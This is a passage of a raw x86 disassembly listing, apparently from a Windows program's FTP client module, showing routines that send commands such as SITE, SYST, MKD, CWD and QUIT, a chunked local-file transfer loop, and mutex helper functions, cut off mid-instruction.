mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E0D9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E0D9: ; CODE XREF: ___:0042E0D0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E130: ; CODE XREF: ___:004016C2j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E151 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E151: ; CODE XREF: ___:0042E14Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42E16C loc_42E15F: ; CODE XREF: ___:0042E16Aj mov al, [ecx] cmp al, 20h jz short loc_42E16C mov [esi], al inc esi inc ecx dec edx jnz short loc_42E15F loc_42E16C: ; CODE XREF: ___:0042E15Dj ; ___:0042E163j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E1A0: ; CODE XREF: ___:0040224Dj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E1C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E1C9: ; CODE XREF: ___:0042E1C0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E220: ; CODE XREF: ___:0040225Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E249 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E249: ; CODE XREF: ___:0042E240j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2A0: ; CODE XREF: ___:00401780j mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42D1A0 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2D0: ; CODE XREF: ___:004021FDj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E2F9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E2F9: ; CODE XREF: ___:0042E2F0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E350: ; CODE XREF: ___:0040166Dj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_4456AC call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E371 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E371: ; CODE XREF: ___:0042E36Cj add edi, 44h push 22h push edi nop call near ptr 77C47660h add esp, 8 test eax, eax jnz short loc_42E387 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E387: ; CODE XREF: ___:0042E382j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42E3A5 loc_42E393: ; CODE XREF: ___:0042E3A3j mov cl, [eax] test cl, cl jz short loc_42E3A5 cmp cl, 22h jz short loc_42E3A5 mov [esi], cl inc esi inc eax dec edx jnz short loc_42E393 loc_42E3A5: ; CODE XREF: ___:0042E391j ; ___:0042E397j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E3D0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E400 proc near ; CODE XREF: ___:0042E3E3p ; ___:0042E663p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42E48A mov esi, [esp+14h+arg_C] mov cx, word_4456EC cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42E43A mov byte ptr [esp+14h+arg_10], 72h loc_42E43A: ; CODE XREF: sub_42E400+33j cmp edi, 49h jnz short loc_42E444 mov byte ptr [esp+14h+arg_10+1], 62h loc_42E444: ; CODE XREF: sub_42E400+3Dj lea edx, [esp+14h+arg_10] push edx push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42E4A4 push 100h nop call near ptr 77C1F2BCh mov eax, [eax] push eax nop call near ptr 77C371FAh mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx nop call near ptr 77C47A90h add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E48A: ; CODE XREF: sub_42E400+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42E49B mov ebx, dword_50FA84 jmp short loc_42E4A4 ; --------------------------------------------------------------------------- loc_42E49B: ; CODE XREF: sub_42E400+91j mov edx, dword_50FA84 lea ebx, [edx+20h] loc_42E4A4: ; CODE XREF: sub_42E400+57j ; sub_42E400+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F55 add esp, 14h test eax, eax jnz short loc_42E4C7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E4C7: ; CODE XREF: sub_42E400+BFj push 2000h nop call near ptr 77C2C407h add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42E53D mov ebp, dword_50FAA4 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_42E593 loc_42E4FA: ; CODE XREF: sub_42E400+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_4021F3 add esp, 0Ch cmp eax, esi jl short loc_42E523 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_42E4FA jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E523: ; CODE XREF: sub_42E400+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" nop call near ptr 77C4186Ah add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E53D: ; CODE XREF: sub_42E400+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jle short loc_42E593 mov esi, dword_50FA94 loc_42E55A: ; CODE XREF: sub_42E400+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_42E581 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jg short loc_42E55A jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E581: ; CODE XREF: sub_42E400+166j push offset aLocalfileWrite ; "localfile write" nop call near ptr 77C36DF2h add esp, 4 mov [esp+14h+var_4], ebp loc_42E593: ; CODE XREF: sub_42E400+F4j ; sub_42E400+121j ... push edi call near ptr 77C2C21Bh nop push ebx nop call near ptr 77C3EEF6h mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42E5B6 push ebx call near ptr 77C40AB1h nop add esp, 4 loc_42E5B6: ; CODE XREF: sub_42E400+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BDB mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42E400 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E650: ; CODE XREF: ___:0040169Fj mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E680: ; CODE XREF: ___:00401D2Fj sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42E6B7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6B7: ; CODE XREF: ___:0042E6AAj movsx eax, byte ptr [esp+124h] mov edi, dword_50FA60 push eax lea ecx, [esp+1Ch] push offset dword_4454F4 push ecx call edi ; sprintf mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E6F8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6F8: ; CODE XREF: ___:0042E6EBj push ebx lea eax, [esp+1Ch] push offset dword_4456F8 push eax call edi ; sprintf push esi lea ecx, [esp+28h] push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E754 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_4456F0 push esi nop call near ptr 77C41B72h add esp, 10h cmp eax, 2 jnz short loc_42E754 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E754: ; CODE XREF: ___:0042E717j ; ___:0042E738j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E7B0: ; CODE XREF: ___:004013BBj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42E7E0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7E0: ; CODE XREF: ___:0042E7D5j push esi push edx lea eax, [esp+10h] push offset dword_445704 push eax nop call near ptr 77C3F931h mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E81B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E81B: ; CODE XREF: ___:0042E80Bj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax call near ptr 77C47A90h nop add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E880 proc near ; CODE XREF: sub_4016A9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42E400 add esp, 14h retn sub_42E880 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8B0: ; CODE XREF: ___:004016C7j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8E0: ; CODE XREF: ___:00401492j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov esi, dword_50FA60 push edx lea eax, [esp+10h] push offset dword_44571C push eax call esi ; sprintf mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E979 push ebx lea edx, [esp+10h] push offset dword_445710 push edx call esi ; sprintf push edi lea eax, [esp+1Ch] push 32h push eax call sub_42D1A0 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E979: ; CODE XREF: ___:0042E901j ; ___:0042E91Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E9C0: ; CODE XREF: ___:00401C67j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E9E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: ___:0042E9E0j push edx lea eax, [esp+4] push offset dword_445728 push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EA40 proc near ; CODE XREF: sub_401D52j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42EA79 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42D1A0 mov eax, [esi+8] add esp, 0Ch push eax call sub_436F06 ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_50FAC4 push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_42EA79: ; CODE XREF: sub_42EA40+Aj pop esi retn sub_42EA40 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EA90: ; CODE XREF: ___:0040219Ej push edi mov edi, [esp+8] test edi, edi jnz short loc_42EAA0 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42EAA0: ; CODE XREF: ___:0042EA97j push 1Ch call near ptr 77C2C407h nop add esp, 4 test eax, eax jnz short loc_42EAB6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42EAB6: ; CODE XREF: ___:0042EAADj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB10: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EB29 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EB29: ; CODE XREF: ___:0042EB20j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx call near ptr 77C2C21Bh nop add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB60: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42EB85 test eax, eax jz short loc_42EB85 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42EB85: ; CODE XREF: ___:0042EB74j ; ___:0042EB78j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EBB0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EBC9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBC9: ; CODE XREF: ___:0042EBC0j mov eax, [esp+0Ch] test eax, eax jz short loc_42EBDD cmp eax, 1 jz short loc_42EBDD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBDD: ; CODE XREF: ___:0042EBCFj ; ___:0042EBD4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC00: ; CODE XREF: ___:0040150Fj mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC20: ; CODE XREF: ___:00401825j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC40: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC59 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC59: ; CODE XREF: ___:0042EC50j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC80: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC99 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC99: ; CODE XREF: ___:0042EC90j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECC0: ; CODE XREF: ___:004019A1j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECF0: ; CODE XREF: ___:0040199Cj mov eax, [esp+8] sub eax, 0 jz short loc_42ED12 dec eax jz short loc_42ED02 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42ED02: ; CODE XREF: ___:0042ECFAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_42ED12: ; CODE XREF: ___:0042ECF7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ED30: ; CODE XREF: ___:00401C08j push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_42EDCB mov edi, [esp+18h] test edi, edi jz loc_42EDCB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_42EDC2 mov eax, [esp+14h] test eax, eax jz short loc_42ED70 mov eax, [eax] test eax, eax jz short loc_42ED70 mov eax, [eax] jmp short loc_42ED72 ; --------------------------------------------------------------------------- loc_42ED70: ; CODE XREF: ___:0042ED64j ; ___:0042ED6Aj xor eax, eax loc_42ED72: ; CODE XREF: ___:0042ED6Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDB8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDAF mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42EDAF: ; CODE XREF: ___:0042EDA7j push edi call sub_401686 add esp, 4 loc_42EDB8: ; CODE XREF: ___:0042ED92j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_42EDC2: ; CODE XREF: ___:0042ED5Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_42EDCB: ; CODE XREF: ___:0042ED39j ; ___:0042ED45j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EE10: ; CODE XREF: ___:004021E9j push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_42EE78 mov esi, [ebp+0] test esi, esi jz short loc_42EE78 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE6E lea eax, [esi+14h] push eax call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE5F push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE5F: ; CODE XREF: ___:0042EE4Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C76 add esp, 0Ch loc_42EE6E: ; CODE XREF: ___:0042EE3Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE78: ; CODE XREF: ___:0042EE1Aj ; ___:0042EE21j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EEB0: ; CODE XREF: ___:00401799j mov eax, [esp+4] push esi test eax, eax jz loc_42EF64 mov esi, [eax] test esi, esi jz loc_42EF64 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] nop call near ptr 28E071Eh test eax, eax jnz short loc_42EEF7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_42EF44 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_40204A add esp, 8 mov esi, eax jmp short loc_42EF40 ; --------------------------------------------------------------------------- loc_42EEF7: ; CODE XREF: ___:0042EED8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_42EF1B lea ecx, [esp+14h] push ecx push ebx call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_42EF1D loc_42EF1B: ; CODE XREF: ___:0042EF07j xor ebx, ebx loc_42EF1D: ; CODE XREF: ___:0042EF19j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_42EF40 mov eax, [esp+10h] push 0 push eax call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 loc_42EF40: ; CODE XREF: ___:0042EEF5j ; ___:0042EF2Fj test esi, esi jnz short loc_42EF5E loc_42EF44: ; CODE XREF: ___:0042EEE2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_50E3EC ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_42EF5E: ; CODE XREF: ___:0042EF42j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_42EF64: ; CODE XREF: ___:0042EEB7j ; ___:0042EEC1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFA0: ; CODE XREF: ___:00401F50j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_42EFC3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42EFC3: ; CODE XREF: ___:0042EFB2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFF0: ; CODE XREF: ___:00401A73j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_42F011 mov eax, [ecx] test eax, eax jz short loc_42F011 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F011: ; CODE XREF: ___:0042EFF9j ; ___:0042EFFFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F030: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_42F04D mov eax, [eax] test eax, eax jz short loc_42F04D mov ecx, [esp+8] test ecx, ecx jz short loc_42F04D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F04D: ; CODE XREF: ___:0042F036j ; ___:0042F03Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F070: ; CODE XREF: ___:0040162Cj mov eax, [esp+4] test eax, eax jz short loc_42F09A mov ecx, [eax] test ecx, ecx jz short loc_42F09A mov eax, [esp+8] cmp eax, 1 jz short loc_42F08E test eax, eax jnz short loc_42F09A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F08E: ; CODE XREF: ___:0042F085j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F09A: ; CODE XREF: ___:0042F076j ; ___:0042F07Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F0B0 proc near ; CODE XREF: sub_40140Bj push esi push edi call sub_4012E4 sub_42F0B0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 0E8525738h, 24B12D2h, 75C08590h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 4B1464E8h, 0A4E85302h dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h, 83FFFD1Fh dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F170: ; CODE XREF: ___:0040223Ej push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 0E8525338h, 24B1212h, 75C08590h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 0E8000000h, 24B13A5h, 0E4E85790h dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F230 proc near ; CODE XREF: sub_401CEEj push esi push edi call sub_4012E4 sub_42F230 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 73E89050h, 85024B11h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F2B0: ; CODE XREF: ___:00401D25j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401758 add esp, 8 mov [esp+4], eax test 